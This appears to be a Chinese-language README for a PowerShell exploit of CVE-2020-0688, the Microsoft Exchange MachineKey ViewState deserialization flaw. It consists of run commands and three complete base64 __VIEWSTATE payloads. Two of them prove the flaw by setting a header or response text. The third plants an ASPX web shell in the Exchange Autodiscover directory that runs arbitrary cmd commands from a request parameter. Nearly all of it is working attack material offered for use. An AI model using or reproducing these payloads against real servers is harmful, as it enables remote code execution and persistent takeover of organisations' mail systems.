CVE-2020-0688（“Microsoft Exchange 默认 MachineKeySection 反序列化漏洞”）的利用脚本
powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml <XAML PATH> -uri <default|liveiderror|...>
这是一个通过设置响应头来验证漏洞的示例。
powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml Set-Header.xml -uri default
__VIEWSTATEGENERATOR=
B97B4E27
__VIEWSTATE=
/wEy4AkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACCCDxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIA0KICAgIHhtbG5zOnM9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiANCiAgICB4bWxuczp3PSJjbHItbmFtZXNwYWNlOlN5c3RlbS5XZWI7YXNzZW1ibHk9U3lzdGVtLldlYiI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9ImEiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgdzpIdHRwQ29udGV4dC5DdXJyZW50fSIgTWV0aG9kTmFtZT0iIj48L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYiIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBhfSIgTWV0aG9kTmFtZT0iZ2V0X1Jlc3BvbnNlIj48L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYyIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iZ2V0X0hlYWRlcnMiPjwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJkIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGN9IiBNZXRob2ROYW1lPSJBZGQiPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgIDxzOlN0cmluZz5URVNULUhFQURFUjwvczpTdHJpbmc+DQogICAgICA8czpTdHJpbmc+UmF2aW5BY2FkZW15PC9zOlN0cmluZz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZSIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iRW5kIj48L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgsmMAD8uTn0dD7/75sv25RCgZzaIQ==
这是一个通过在响应中设置字符串来验证漏洞的示例。
powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml Set-Response.xml -uri default
__VIEWSTATEGENERATOR=
B97B4E27
__VIEWSTATE=
/wEyxwgAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADpBjxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIA0KICAgIHhtbG5zOnM9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiANCiAgICB4bWxuczp3PSJjbHItbmFtZXNwYWNlOlN5c3RlbS5XZWI7YXNzZW1ibHk9U3lzdGVtLldlYiI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9ImEiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgdzpIdHRwQ29udGV4dC5DdXJyZW50fSIgTWV0aG9kTmFtZT0iIj48L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYiIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBhfSIgTWV0aG9kTmFtZT0iZ2V0X1Jlc3BvbnNlIj48L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYyIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iV3JpdGUiPg0KICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgPHM6U3RyaW5nPlJBVklOQUNBRE1ZPC9zOlN0cmluZz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZSIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iRW5kIj48L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgtlS34OId/SqujzElQ7KDitWUhWwA==
这是一个通过 LiveIdError.aspx 上传 WebShell 的示例。
powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml Upload-Shell.xml -uri liveiderror __VIEWSTATEGENERATOR=
31563A0D
__VIEWSTATE=
/wEy5x4AAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACJHTxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgICB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgDQogICAgeG1sbnM6cz0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogICAgeG1sbnM6dz0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uV2ViO2Fzc2VtYmx5PVN5c3RlbS5XZWIiPg0KICA8czpTdHJpbmcgeDpLZXk9ImEiIHg6RmFjdG9yeU1ldGhvZD0iczpFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlIiB4OkFyZ3VtZW50cz0iRXhjaGFuZ2VJbnN0YWxsUGF0aCIvPg0KICA8czpTdHJpbmcgeDpLZXk9ImIiIHg6RmFjdG9yeU1ldGhvZD0iQ29uY2F0Ij4NCiAgICA8eDpBcmd1bWVudHM+DQogICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImEiLz4NCiAgICAgIDxzOlN0cmluZz5DbGllbnRBY2Nlc3NcXEF1dG9kaXNjb3ZlclxcUmF2aW4uYXNweDwvczpTdHJpbmc+DQogICAgPC94OkFyZ3VtZW50cz4NCiAgPC9zOlN0cmluZz4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0ieCIgT2JqZWN0VHlwZT0ie3g6VHlwZSBzOklPLkZpbGV9IiBNZXRob2ROYW1lPSJXcml0ZUFsbFRleHQiPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iYiIvPg0KICAgICAgPHM6U3RyaW5nPiZsdDslQHBhZ2UgbGFuZ3VhZ2U9JnF1b3Q7QyMmcXVvdDslJmd0Ow0KDQombHQ7JUAgaW1wb3J0IE5hbWVzcGFjZT0mcXVvdDtTeXN0ZW0uSU8mcXVvdDslJmd0Ow0KDQombHQ7JUAgaW1wb3J0IE5hbWVzcGFjZT0mcXVvdDtTeXN0ZW0uWG1sJnF1b3Q7JSZndDsNCg0KJmx0OyVAIGltcG9ydCBOYW1lc3BhY2U9JnF1b3Q7U3lzdGVtLlhtbC5Yc2wmcXVvdDslJmd0Ow0KDQombHQ7JQ0Kc3RyaW5nIHhtbD1AJnF1b3Q7Jmx0Oz94bWwgdmVyc2lvbj0mcXVvdDsmcXVvdDsxLjAmcXVvdDsmcXVvdDs/Jmd0OyZsdDtyb290Jmd0O3Rlc3QmbHQ7L3Jvb3QmZ3Q7JnF1b3Q7Ow0Kc3RyaW5nIHhzbHQ9QCZxdW90OyZsdDs/eG1sIHZlcnNpb249JzEuMCc/Jmd0Ow0KJmx0O3hzbDpzdHlsZXNoZWV0IHZlcnNpb249JnF1b3Q7JnF1b3Q7MS4wJnF1b3Q7JnF1b3Q7IHhtbG5zOnhzbD0mcXVvdDsmcXVvdDtodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0mcXVvdDsmcXVvdDsgeG1sbnM6bXN4c2w9JnF1b3Q7JnF1b3Q7dXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4c2x0JnF1b3Q7JnF1b3Q7IHhtbG5zOnpjZz0mcXVvdDsmcXVvdDt6Y2dvbnZoJnF1b3Q7JnF1b3Q7Jmd0Ow0KICAgICZsdDttc3hzbDpzY3JpcHQgbGFuZ3VhZ2U9JnF1b3Q7JnF1b3Q7SlNjcmlwdCZxdW90OyZxdW90OyBpbXBsZW1lbnRzLXByZWZpeD0mcXVvdDsmcXVvdDt6Y2cmcXVvdDsmcXVvdDsmZ3Q7DQogICAgJmx0O21zeHNsOmFzc2VtYmx5IG5hbWU9JnF1b3Q7JnF1b3Q7bXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JnF1b3Q7JnF1b3Q7LyZndDsNCiAgICAmbHQ7bXN4c2w6YXNzZW1ibHkgbmFtZT0mcXVvdDsmcXVvdDtTeXN0ZW0uRGF0YSwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkmcXVvdDsmcXVvdDsvJmd0Ow0KICAgICZsdDttc3hzbDphc3NlbWJseSBuYW1lPSZxdW90OyZxdW90O1N5c3RlbS5Db25maWd1cmF0aW9uLCBWZXJzaW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2Y3MTFkNTBhM2EmcXVvdDsmcXVvdDsvJmd0Ow0KICAgICZsdDttc3hzbDphc3NlbWJseSBuYW1lPSZxdW90OyZxdW90O1N5c3RlbS5XZWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhJnF1b3Q7JnF1b3Q7LyZndDsNCiAgICAgICAgJmx0OyFbQ0RBVEFbZnVuY3Rpb24geG1sKCl7DQogICAgICAgIHZhciBjPVN5c3RlbS5XZWIuSHR0cENvbnRleHQuQ3VycmVudDt2YXIgUmVxdWVzdD1jLlJlcXVlc3Q7dmFyIFJlc3BvbnNlPWMuUmVzcG9uc2U7DQogICAgICAgIHZhciBjb21tYW5kID0gUmVxdWVzdC5JdGVtWydjbWQnXTsNCiAgICAgICAgdmFyIHIgPSBuZXcgQWN0aXZlWE9iamVjdCgmcXVvdDsmcXVvdDtXU2NyaXB0LlNoZWxsJnF1b3Q7JnF1b3Q7KS5FeGVjKCZxdW90OyZxdW90O2NtZCAvYyAmcXVvdDsmcXVvdDsrY29tbWFuZCk7DQogICAgICAgIHZhciBPdXRTdHJlYW0gPSByLlN0ZE91dDsNCiAgICAgICAgdmFyIFN0ciA9ICZxdW90OyZxdW90OyZxdW90OyZxdW90OzsNCiAgICAgICAgd2hpbGUgKCFPdXRTdHJlYW0uYXRFbmRPZlN0cmVhbSkgew0KICAgICAgICAgICAgU3RyID0gU3RyICsgT3V0U3RyZWFtLnJlYWRBbGwoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoJnF1b3Q7JnF1b3Q7Jmx0O3ByZSZndDsmcXVvdDsmcXVvdDsrU3RyKyZxdW90OyZxdW90OyZsdDsvcHJlJmd0OyZxdW90OyZxdW90Oyk7DQogICAgICAgIH1dXSZndDsNCiAgICAmbHQ7L21zeHNsOnNjcmlwdCZndDsNCiZsdDt4c2w6dGVtcGxhdGUgbWF0Y2g9JnF1b3Q7JnF1b3Q7L3Jvb3QmcXVvdDsmcXVvdDsmZ3Q7DQogICAgJmx0O3hzbDp2YWx1ZS1vZiBzZWxlY3Q9JnF1b3Q7JnF1b3Q7emNnOnhtbCgpJnF1b3Q7JnF1b3Q7LyZndDsNCiZsdDsveHNsOnRlbXBsYXRlJmd0Ow0KJmx0Oy94c2w6c3R5bGVzaGVldCZndDsmcXVvdDs7DQpYbWxEb2N1bWVudCB4bWxkb2M9bmV3IFhtbERvY3VtZW50KCk7DQp4bWxkb2MuTG9hZFhtbCh4bWwpOw0KWG1sRG9jdW1lbnQgeHNsZG9jPW5ldyBYbWxEb2N1bWVudCgpOw0KeHNsZG9jLkxvYWRYbWwoeHNsdCk7DQpYc2x0U2V0dGluZ3MgeHNsdF9zZXR0aW5ncyA9IG5ldyBYc2x0U2V0dGluZ3MoZmFsc2UsIHRydWUpOw0KeHNsdF9zZXR0aW5ncy5FbmFibGVTY3JpcHQgPSB0cnVlOw0KdHJ5ew0KICAgIFhzbENvbXBpbGVkVHJhbnNmb3JtIHhjdD1uZXcgWHNsQ29tcGlsZWRUcmFuc2Zvcm0oKTsNCiAgICB4Y3QuTG9hZCh4c2xkb2MseHNsdF9zZXR0aW5ncyxuZXcgWG1sVXJsUmVzb2x2ZXIoKSk7DQogICAgeGN0LlRyYW5zZm9ybSh4bWxkb2MsbnVsbCxuZXcgTWVtb3J5U3RyZWFtKCkpOw0KfQ0KY2F0Y2ggKEV4Y2VwdGlvbiBlKXsNCiAgICBSZXNwb25zZS5Xcml0ZSgmcXVvdDtFcnJvciZxdW90Oyk7DQp9DQomJmd0Ow0KPC9zOlN0cmluZz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYyIgT2JqZWN0SW5zdGFuY2U9Int4OlN0YXRpYyB3Okh0dHBDb250ZXh0LkN1cnJlbnR9IiBNZXRob2ROYW1lPSIiLz4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZCIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBjfSIgTWV0aG9kTmFtZT0iZ2V0X1Jlc3BvbnNlIi8+DQogIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9ImUiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgZH0iIE1ldGhvZE5hbWU9IkVuZCIvPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+C37HzQQX9ii89fALpz/7DazXClDD